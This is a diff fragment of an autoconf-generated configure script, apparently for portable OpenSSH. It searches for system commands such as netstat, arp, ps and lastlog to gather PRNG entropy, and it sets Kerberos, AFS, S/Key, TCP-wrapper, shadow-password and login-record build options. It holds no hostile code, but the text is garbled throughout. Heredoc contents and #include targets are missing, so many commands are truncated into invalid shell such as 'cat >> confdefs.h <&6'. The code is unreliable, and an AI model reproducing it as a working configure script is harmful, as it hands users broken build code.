RANDOM_POOL="/dev/urandom"; + + cat >> confdefs.h <&6 + +fi + + + +fi + + +# Check for EGD pool file +# Check whether --with-egd-pool or --without-egd-pool was given. +if test "${with_egd_pool+set}" = set; then + withval="$with_egd_pool" + + if test "x$withval" != "xno" ; then + EGD_SOCKET="$withval"; + cat >> confdefs.h <&6 +echo "configure:4768: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_LS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_LS" in + /*) + ac_cv_path_PROG_LS="$PROG_LS" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_LS="$PROG_LS" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_LS="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_LS="$ac_cv_path_PROG_LS" +if test -n "$PROG_LS"; then + echo "$ac_t""$PROG_LS" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_LS" ; then + PROG_LS="undef" + fi + + + + # Extract the first word of "netstat", so it can be a program name with args. +set dummy netstat; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4809: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_NETSTAT'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_NETSTAT" in + /*) + ac_cv_path_PROG_NETSTAT="$PROG_NETSTAT" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_NETSTAT="$PROG_NETSTAT" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_NETSTAT="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_NETSTAT="$ac_cv_path_PROG_NETSTAT" +if test -n "$PROG_NETSTAT"; then + echo "$ac_t""$PROG_NETSTAT" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_NETSTAT" ; then + PROG_NETSTAT="undef" + fi + + + + # Extract the first word of "arp", so it can be a program name with args. +set dummy arp; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4850: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_ARP'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_ARP" in + /*) + ac_cv_path_PROG_ARP="$PROG_ARP" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_ARP="$PROG_ARP" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_ARP="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_ARP="$ac_cv_path_PROG_ARP" +if test -n "$PROG_ARP"; then + echo "$ac_t""$PROG_ARP" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_ARP" ; then + PROG_ARP="undef" + fi + + + + # Extract the first word of "ifconfig", so it can be a program name with args. +set dummy ifconfig; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4891: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_IFCONFIG'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_IFCONFIG" in + /*) + ac_cv_path_PROG_IFCONFIG="$PROG_IFCONFIG" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_IFCONFIG="$PROG_IFCONFIG" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_IFCONFIG="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_IFCONFIG="$ac_cv_path_PROG_IFCONFIG" +if test -n "$PROG_IFCONFIG"; then + echo "$ac_t""$PROG_IFCONFIG" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_IFCONFIG" ; then + PROG_IFCONFIG="undef" + fi + + + + # Extract the first word of "ps", so it can be a program name with args. +set dummy ps; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4932: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_PS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_PS" in + /*) + ac_cv_path_PROG_PS="$PROG_PS" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_PS="$PROG_PS" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_PS="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_PS="$ac_cv_path_PROG_PS" +if test -n "$PROG_PS"; then + echo "$ac_t""$PROG_PS" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_PS" ; then + PROG_PS="undef" + fi + + + + # Extract the first word of "w", so it can be a program name with args. +set dummy w; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:4973: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_W'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_W" in + /*) + ac_cv_path_PROG_W="$PROG_W" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_W="$PROG_W" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_W="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_W="$ac_cv_path_PROG_W" +if test -n "$PROG_W"; then + echo "$ac_t""$PROG_W" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_W" ; then + PROG_W="undef" + fi + + + + # Extract the first word of "who", so it can be a program name with args. +set dummy who; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5014: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_WHO'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_WHO" in + /*) + ac_cv_path_PROG_WHO="$PROG_WHO" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_WHO="$PROG_WHO" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_WHO="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_WHO="$ac_cv_path_PROG_WHO" +if test -n "$PROG_WHO"; then + echo "$ac_t""$PROG_WHO" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_WHO" ; then + PROG_WHO="undef" + fi + + + + # Extract the first word of "last", so it can be a program name with args. +set dummy last; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5055: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_LAST'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_LAST" in + /*) + ac_cv_path_PROG_LAST="$PROG_LAST" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_LAST="$PROG_LAST" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_LAST="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_LAST="$ac_cv_path_PROG_LAST" +if test -n "$PROG_LAST"; then + echo "$ac_t""$PROG_LAST" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_LAST" ; then + PROG_LAST="undef" + fi + + + + # Extract the first word of "lastlog", so it can be a program name with args. +set dummy lastlog; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5096: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_LASTLOG'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_LASTLOG" in + /*) + ac_cv_path_PROG_LASTLOG="$PROG_LASTLOG" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_LASTLOG="$PROG_LASTLOG" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_LASTLOG="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_LASTLOG="$ac_cv_path_PROG_LASTLOG" +if test -n "$PROG_LASTLOG"; then + echo "$ac_t""$PROG_LASTLOG" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_LASTLOG" ; then + PROG_LASTLOG="undef" + fi + + + + # Extract the first word of "df", so it can be a program name with args. +set dummy df; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5137: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_DF'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_DF" in + /*) + ac_cv_path_PROG_DF="$PROG_DF" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_DF="$PROG_DF" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_DF="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_DF="$ac_cv_path_PROG_DF" +if test -n "$PROG_DF"; then + echo "$ac_t""$PROG_DF" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_DF" ; then + PROG_DF="undef" + fi + + + + # Extract the first word of "vmstat", so it can be a program name with args. +set dummy vmstat; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5178: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_VMSTAT'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_VMSTAT" in + /*) + ac_cv_path_PROG_VMSTAT="$PROG_VMSTAT" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_VMSTAT="$PROG_VMSTAT" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_VMSTAT="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_VMSTAT="$ac_cv_path_PROG_VMSTAT" +if test -n "$PROG_VMSTAT"; then + echo "$ac_t""$PROG_VMSTAT" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_VMSTAT" ; then + PROG_VMSTAT="undef" + fi + + + + # Extract the first word of "uptime", so it can be a program name with args. +set dummy uptime; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5219: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_UPTIME'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_UPTIME" in + /*) + ac_cv_path_PROG_UPTIME="$PROG_UPTIME" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_UPTIME="$PROG_UPTIME" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_UPTIME="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_UPTIME="$ac_cv_path_PROG_UPTIME" +if test -n "$PROG_UPTIME"; then + echo "$ac_t""$PROG_UPTIME" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_UPTIME" ; then + PROG_UPTIME="undef" + fi + + + + # Extract the first word of "ipcs", so it can be a program name with args. +set dummy ipcs; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5260: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_IPCS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_IPCS" in + /*) + ac_cv_path_PROG_IPCS="$PROG_IPCS" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_IPCS="$PROG_IPCS" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_IPCS="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_IPCS="$ac_cv_path_PROG_IPCS" +if test -n "$PROG_IPCS"; then + echo "$ac_t""$PROG_IPCS" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_IPCS" ; then + PROG_IPCS="undef" + fi + + + + # Extract the first word of "tail", so it can be a program name with args. +set dummy tail; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5301: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_TAIL'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_TAIL" in + /*) + ac_cv_path_PROG_TAIL="$PROG_TAIL" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_TAIL="$PROG_TAIL" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_TAIL="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_TAIL="$ac_cv_path_PROG_TAIL" +if test -n "$PROG_TAIL"; then + echo "$ac_t""$PROG_TAIL" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_TAIL" ; then + PROG_TAIL="undef" + fi + + + + # Extract the first word of "ls", so it can be a program name with args. +set dummy ls; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:5342: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PROG_LS'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PROG_LS" in + /*) + ac_cv_path_PROG_LS="$PROG_LS" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PROG_LS="$PROG_LS" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PROG_LS="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PROG_LS="$ac_cv_path_PROG_LS" +if test -n "$PROG_LS"; then + echo "$ac_t""$PROG_LS" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + if test -z "$PROG_LS" ; then + PROG_LS="undef" + fi + + + + INSTALL_SSH_PRNG_CMDS="yes" +fi + + + +# Check whether --with-catman or --without-catman was given. +if test "${with_catman+set}" = set; then + withval="$with_catman" + + MANTYPE='$(CATMAN)' + if test x"$withval" != x"yes" ; then + mansubdir=$withval + else + mansubdir=cat + fi + +else + + if test -z "$MANTYPE" ; then + MANTYPE='$(TROFFMAN)' + mansubdir=man + fi + + +fi + + + + +# Check whether user wants Kerberos support +KRB4_MSG="no" +# Check whether --with-kerberos4 or --without-kerberos4 was given. +if test "${with_kerberos4+set}" = set; then + withval="$with_kerberos4" + + if test "x$withval" != "xno" ; then + + if test "x$withval" != "$xyes" ; then + CFLAGS="$CFLAGS -I${withval}/include" + LDFLAGS="$LDFLAGS -L${withval}/lib" + if test ! -z "$need_dash_r" ; then + LDFLAGS="$LDFLAGS -R${withval}/lib" + fi + if test ! -z "$blibpath" ; then + blibpath="$blibpath:${withval}/lib" + fi + else + if test -d /usr/include/kerberosIV ; then + CFLAGS="$CFLAGS -I/usr/include/kerberosIV" + fi + fi + + for ac_hdr in krb.h +do +ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'` +echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6 +echo "configure:5436: checking for $ac_hdr" >&5 +if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:5446: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + rm -rf conftest* + eval "ac_cv_header_$ac_safe=yes" +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_header_$ac_safe=no" +fi +rm -f conftest* +fi +if eval "test \"`echo '$ac_cv_header_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_hdr=HAVE_`echo $ac_hdr | sed 'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'` + cat >> confdefs.h <&6 +fi +done + + echo $ac_n "checking for main in -lkrb""... $ac_c" 1>&6 +echo "configure:5473: checking for main in -lkrb" >&5 +ac_lib_var=`echo krb'_'main | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lkrb $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo krb | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + + if test "$ac_cv_header_krb_h" != yes; then + echo "configure: warning: Cannot find krb.h, build may fail" 1>&2 + fi + if test "$ac_cv_lib_krb_main" != yes; then + echo "configure: warning: Cannot find libkrb, build may fail" 1>&2 + fi + + KLIBS="-lkrb -ldes" + echo $ac_n "checking for dn_expand in -lresolv""... $ac_c" 1>&6 +echo "configure:5524: checking for dn_expand in -lresolv" >&5 +ac_lib_var=`echo resolv'_'dn_expand | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lresolv $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo resolv | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + + KRB4=yes + KRB4_MSG="yes" + cat >> confdefs.h <<\EOF +#define KRB4 1 +EOF + + fi + + +fi + + +# Check whether user wants AFS support +AFS_MSG="no" +# Check whether --with-afs or --without-afs was given. +if test "${with_afs+set}" = set; then + withval="$with_afs" + + if test "x$withval" != "xno" ; then + + if test "x$withval" != "$xyes" ; then + CFLAGS="$CFLAGS -I${withval}/include" + LFLAGS="$LFLAGS -L${withval}/lib" + fi + + if test -z "$KRB4" ; then + echo "configure: warning: AFS requires Kerberos IV support, build may fail" 1>&2 + fi + + LIBS="$LIBS -lkafs" + if test ! -z "$AFS_LIBS" ; then + LIBS="$LIBS $AFS_LIBS" + fi + cat >> confdefs.h <<\EOF +#define AFS 1 +EOF + + AFS_MSG="yes" + fi + + +fi + +LIBS="$LIBS $KLIBS" + +# Check whether user wants S/Key support +SKEY_MSG="no" +# Check whether --with-skey or --without-skey was given. +if test "${with_skey+set}" = set; then + withval="$with_skey" + + if test "x$withval" != "xno" ; then + cat >> confdefs.h <<\EOF +#define SKEY 1 +EOF + + LIBS="$LIBS -lskey" + SKEY_MSG="yes" + fi + + +fi + + +# Check whether user wants TCP wrappers support +TCPW_MSG="no" +# Check whether --with-tcp-wrappers or --without-tcp-wrappers was given. +if test "${with_tcp_wrappers+set}" = set; then + withval="$with_tcp_wrappers" + + if test "x$withval" != "xno" ; then + saved_LIBS="$LIBS" + LIBS="$LIBS -lwrap" + echo $ac_n "checking for libwrap""... $ac_c" 1>&6 +echo "configure:5644: checking for libwrap" >&5 + cat > conftest.$ac_ext < + int deny_severity = 0, allow_severity = 0; + +int main() { +hosts_access(0); +; return 0; } +EOF +if { (eval echo configure:5656: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define LIBWRAP 1 +EOF + + TCPW_MSG="yes" + +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + { echo "configure: error: *** libwrap missing" 1>&2; exit 1; } + + +fi +rm -f conftest* + fi + + +fi + + +# Check whether to enable MD5 passwords +MD5_MSG="no" +# Check whether --with-md5-passwords or --without-md5-passwords was given. +if test "${with_md5_passwords+set}" = set; then + withval="$with_md5_passwords" + + if test "x$withval" != "xno" ; then + cat >> confdefs.h <<\EOF +#define HAVE_MD5_PASSWORDS 1 +EOF + + MD5_MSG="yes" + fi + + +fi + + +# Whether to disable shadow password support +# Check whether --with-shadow or --without-shadow was given. +if test "${with_shadow+set}" = set; then + withval="$with_shadow" + + if test "x$withval" = "xno" ; then + cat >> confdefs.h <<\EOF +#define DISABLE_SHADOW 1 +EOF + + disable_shadow=yes + fi + + +fi + + +if test -z "$disable_shadow" ; then + echo $ac_n "checking if the systems has expire shadow information""... $ac_c" 1>&6 +echo "configure:5719: checking if the systems has expire shadow information" >&5 + cat > conftest.$ac_ext < +#include + struct spwd sp; + +int main() { + sp.sp_expire = sp.sp_lstchg = sp.sp_inact = 0; +; return 0; } +EOF +if { (eval echo configure:5732: \"$ac_compile\") 1>&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + sp_expire_available=yes +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + + +fi +rm -f conftest* + + if test "x$sp_expire_available" = "xyes" ; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAS_SHADOW_EXPIRE 1 +EOF + + else + echo "$ac_t""no" 1>&6 + fi +fi + +# Use ip address instead of hostname in $DISPLAY +DISPLAY_HACK_MSG="no" +# Check whether --with-ipaddr-display or --without-ipaddr-display was given. +if test "${with_ipaddr_display+set}" = set; then + withval="$with_ipaddr_display" + + if test "x$withval" = "xno" ; then + cat >> confdefs.h <<\EOF +#define IPADDR_IN_DISPLAY 1 +EOF + + DISPLAY_HACK_MSG="yes" + fi + + +fi + + +# Whether to mess with the default path +SERVER_PATH_MSG="(default)" +# Check whether --with-default-path or --without-default-path was given. +if test "${with_default_path+set}" = set; then + withval="$with_default_path" + + if test "x$withval" != "xno" ; then + cat >> confdefs.h <> confdefs.h <<\EOF +#define IPV4_DEFAULT 1 +EOF + + IPV4_HACK_MSG="yes" + fi + + +fi + + +echo $ac_n "checking if we need to convert IPv4 in IPv6-mapped addresses""... $ac_c" 1>&6 +echo "configure:5810: checking if we need to convert IPv4 in IPv6-mapped addresses" >&5 +IPV4_IN6_HACK_MSG="no" +# Check whether --with-4in6 or --without-4in6 was given. +if test "${with_4in6+set}" = set; then + withval="$with_4in6" + + if test "x$withval" != "xno" ; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define IPV4_IN_IPV6 1 +EOF + + IPV4_IN6_HACK_MSG="yes" + else + echo "$ac_t""no" 1>&6 + fi + +else + + if test "x$inet6_default_4in6" = "xyes"; then + echo "$ac_t""yes (default)" 1>&6 + cat >> confdefs.h <<\EOF +#define IPV4_IN_IPV6 1 +EOF + + IPV4_IN6_HACK_MSG="yes" + else + echo "$ac_t""no (default)" 1>&6 + fi + + +fi + + +# Where to place sshd.pid +piddir=/var/run +# Check whether --with-pid-dir or --without-pid-dir was given. +if test "${with_pid_dir+set}" = set; then + withval="$with_pid_dir" + + if test "x$withval" != "xno" ; then + piddir=$withval + fi + + +fi + + +cat >> confdefs.h <> confdefs.h <<\EOF +#define DISABLE_LASTLOG 1 +EOF + + +fi + +# Check whether --enable-utmp or --disable-utmp was given. +if test "${enable_utmp+set}" = set; then + enableval="$enable_utmp" + cat >> confdefs.h <<\EOF +#define DISABLE_UTMP 1 +EOF + + +fi + +# Check whether --enable-utmpx or --disable-utmpx was given. +if test "${enable_utmpx+set}" = set; then + enableval="$enable_utmpx" + cat >> confdefs.h <<\EOF +#define DISABLE_UTMPX 1 +EOF + + +fi + +# Check whether --enable-wtmp or --disable-wtmp was given. +if test "${enable_wtmp+set}" = set; then + enableval="$enable_wtmp" + cat >> confdefs.h <<\EOF +#define DISABLE_WTMP 1 +EOF + + +fi + +# Check whether --enable-wtmpx or --disable-wtmpx was given. +if test "${enable_wtmpx+set}" = set; then + enableval="$enable_wtmpx" + cat >> confdefs.h <<\EOF +#define DISABLE_WTMPX 1 +EOF + + +fi + +# Check whether --enable-libutil or --disable-libutil was given. +if test "${enable_libutil+set}" = set; then + enableval="$enable_libutil" + cat >> confdefs.h <<\EOF +#define DISABLE_LOGIN 1 +EOF + + +fi + +# Check whether --enable-pututline or --disable-pututline was given. +if test "${enable_pututline+set}" = set; then + enableval="$enable_pututline" + cat >> confdefs.h <<\EOF +#define DISABLE_PUTUTLINE 1 +EOF + + +fi + +# Check whether --enable-pututxline or --disable-pututxline was given. +if test "${enable_pututxline+set}" = set; then + enableval="$enable_pututxline" + cat >> confdefs.h <<\EOF +#define DISABLE_PUTUTXLINE 1 +EOF + + +fi + +# Check whether --with-lastlog or --without-lastlog was given. +if test "${with_lastlog+set}" = set; then + withval="$with_lastlog" + conf_lastlog_location="$withval"; +fi + + + +echo $ac_n "checking if your system defines LASTLOG_FILE""... $ac_c" 1>&6 +echo "configure:5953: checking if your system defines LASTLOG_FILE" >&5 +cat > conftest.$ac_ext < +#include +#ifdef HAVE_LASTLOG_H +# include +#endif +#ifdef HAVE_PATHS_H +# include +#endif + +int main() { + char *lastlog = LASTLOG_FILE; +; return 0; } +EOF +if { (eval 